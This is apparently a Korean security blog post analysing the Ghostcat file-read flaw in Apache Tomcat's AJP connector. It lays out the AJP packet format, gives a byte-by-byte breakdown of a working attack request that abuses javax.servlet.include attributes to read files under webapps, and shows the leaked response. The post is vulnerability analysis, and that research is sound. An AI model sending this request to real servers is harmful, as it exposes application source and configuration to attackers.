개요
CVE 2020-10487은 Tomcat의 취약한 버전에서 Default로 열려있는 Connector 중 AJP Protocol에서 발생합니다.
Tomcat은 AJP Request를 받았을 경우 org.apache.coyote.ajp.AjpProcessor를 호출하여 AJP 메세지를 처리하며, prepareRequest는 송신한 데이터를 추출하여 request 객체의 Attribute 속성으로 설정할 수 있습니다.
설정 가능한 Attribute 속성은 다음과 같습니다.
javax.servlet.include.request_uri
javax.servlet.include.path_info
javax.servlet.include.servlet_path
해당 취약점을 이용하여 webapp 하위에 있는 모든 임의의 파일들에 접근할 수 있습니다.
취약점
취약 환경
Apache Tomcat 9 (Version ~ 9.0.30)
Apache Tomcat 8 (Version ~ 8.5.50)
Apache Tomcat 7 (Version ~ 7.0.99)
Apache Tomcat 6
테스트 환경
Apache Tomcat 8.5.32
분석
AJP Request Packet 구조는 다음과 같습니다.
AJP13_FORWARD_REQUETS Header
0x1234
Data Length
AJP13_FORWARD_REQUEST Body
prefix_code (byte) 0x02 = JK_AJP13_FORWARD_REQUEST
method (byte)
protocol (string)
req_uri (string)
remote_addr (string)
remote_host (string)
server_name (string)
server_port (integer)
is_ssl (boolean)
num_headers (integer)
request_headers *(req_header_name req_header_value)
attributes *(attribut_name attribute_value)
request_terminator (byte) OxFF
실제 공격에 사용된 Request 분석 결과는 다음과 같습니다.
Header
\x12\x34
Data Length
\x00\xc0
Prefix Code (JK_AJP13_FORWARD_REQUEST)
\x02
Method (OPTIONS: 1, GET: 2, HEAD: 3, POST: 4, PUT: 5, DELETE: 6, TRACE: 7, PROPFIND: 8)
\x02
Protocol length
\x00\x08
Protocol
HTTP/1.1
Protocol EOF
\x00
Request URL length
\x00\x15
Request URL
/iidex.html/index.txt
Request URL EOF
\x00
Remote Addr length
\x00\x09
Remote Addr
127.0.0.1
Remote Addr EOF
\x00
Remote host length
\x00\x09
Remote host
localhost
Remote host EOF
\x00
Server name length
\x00\x09
Server name
localhost
Server name EOF
\x00
Server Port
\x00\x80
is SSL (https=1, http=0)
\x00
Num Headers
\x00\x01
Request Header Name (SC_REQ_HOST)
\xa0\x0b
Request Header Value length
\x00\x0c
Request Header Value
localhost:80
Request Header Value EOF
\x00
Request Attribute
\x0a
Request Attribute Name length
\x00\x21
Request Attribute Name
javax.servlet.include.request_uri
Request Attribute Name EOF
\x00
Request Attribute Value length
\x00\x05
Request Attribute Value
index
Request Attribute Value EOF
\x00
Request Attribute
\x0a
Request Attribute Name length
\x00\x22
Requests Attribute Name
javax.servlet.include.servlet_path
Requests Attribute Name EOF
\x00
Request Attribute Value length
\x00\x0a
Request Attribute Value
/index.jsp
Request Attribute Value EOF
\x00
Request Attribute EOF
\xff
EOF
\x00
Request URL에는 Servelet URL Pattern과 일치하지만 존재하지 않는 URL을 입력해야 합니다.
또한, javax.servlet.include.servlet_path에는 실제로 접근하려는 임의의 파일을 매칭된 폴더를 기준으로 절대 경로를 입력해야합니다.
Servelet URL Pattern : / -> webapps/ROOT/
Request URL : /iindex.jsp
javax.servlet.include.servlet_path : /index.jsp
Servelet URL Pattern : /examples/ -> webapps/examples/
Request URL : /example/123456.html
javax.servlet.include.servlet_path : /jsp/source.jsp
해당 조건에 맞춰 Request를 전송하게 되면 javax.servlet.include.servlet_path에 입력한 임의의 파일에 접근할 수 있게 됩니다.
서버의 Response Packet 구조는 다음과 같습니다.
AJP13_RESPONSE Header
0x4142
Data Length
AJP13_SEND_BODY_CHUNK
prefix_code 3
chunk_length (integer)
chunk *(byte)
chunk_terminator (byte) Ox00
AJP13_SEND_HEADERS
prefix_code 4
http_status_code (integer)
http_status_msg (string)
num_headers (integer)
response_headers *(res_header_name header_value)
res_header_name
sc_res_header_name | (string) [see below for how this is parsed]
sc_res_header_name 0xA0 (byte)
\x01: Content-Type
\x02: Content-Language
\x03: Content-Length
\x04: Date
\x05: Last-Modified
\x06: Location
\x07: Set-Cookie
\x08: Set-Cookie2
\x09: Servlet-Engine
\x0a: Status
\x0b: WWW-Authenticate
header_value (string)
AJP13_END_RESPONSE
prefix_code 5
reuse (boolean)
AJP13_GET_BODY_CHUNK
prefix_code 6
requested_length (integer)
실제 공격 코드를 전송 후 서버에서 받은 Response 분석 결과는 다음과 같습니다.
Header
\x41\x42
Data Length
\x00\x70
Prefix Code
\x04
Http Status Code
\x00\xc8
Http Status Msg Length
\x00\x03
Http Status Msg
200
Http Status EOF
\x00
Num Headers
\x00\x04
SC Res Header Name Length
\x00\x0d
SC Res Header Name
Accept-Ranges
SC Res Header Name EOF
\x00
SC Res Header Value Length
\x00\x05
SC Res Header Value
bytes
SC Res Header Value EOF
\x00
SC Res Header Name Length
\x00\x04
SC Res Header Name
ETag
SC Res Header Name EOF
\x00
SC Res Header Value Length
\x00\x17
SC Res Header Value
W/"12439-1575714088000"
SC Res Header Value EOF
\x00
SC Res Header Name (Last-Modified)
\xa0\x05
SC Res Header Value Length
\x00\x1d
SC Res Header Value
Sat, 07 Dec 2019 10:21:28 GMT
SC Res Header Value EOF
\x00
SC Res Header Name (Content-Length)
\xa0\x03
SC Res Header Value Length
\x00\x05
SC Res Header Value
12439
SC Res Header Value EOF
\x00
Header
\x41\x42
Data Length
\x1f\xfc
Prefix Code
\x03
Chunk Length
\x1f\xf8
Chunk
%--\r\nLicensed to the Apache Software Foundation (ASF) under one or more\r\ncontributor license agreements. See the NOTICE ~
Chunk EOF
\x00
Header
\x41\x42
Data Length
\x10\xa3
Prefix Code
\x03
Chunk Length
\x10\x9f
Chunk
w volume).</strong>\r\n </li>\r\n <li><a ~ </html>\r\n
Chunk EOF
\x00
Header
\x41\x42
Data Length
\x02
Prefix Code
\x05
Reuse
\x01
servlet_path에 입력한 /index.jsp 파일이 Chunk에 담겨져있는 것을 확인할 수 있었습니다. 다음 사진은 Response 데이터를 보기좋게 디코딩한 결과입니다.
Reference
https://httpd.apache.org/docs/2.4/mod/mod_proxy_ajp.html
https://github.com/00theway/Ghostcat-CNVD-2020-10487
'Hack > Web' 카테고리의 다른 글
Reflected File Download (0) | 2020.09.22 |
---|---|
Phar 파일을 이용한 PHP Unserialization (0) | 2020.09.22 |
commons-fileupload Module WAF Filtering Bypass (0) | 2020.09.21 |
Nginx off by slash fail (0) | 2020.09.21 |
Host Split Attack (0) | 2020.09.21 |
댓글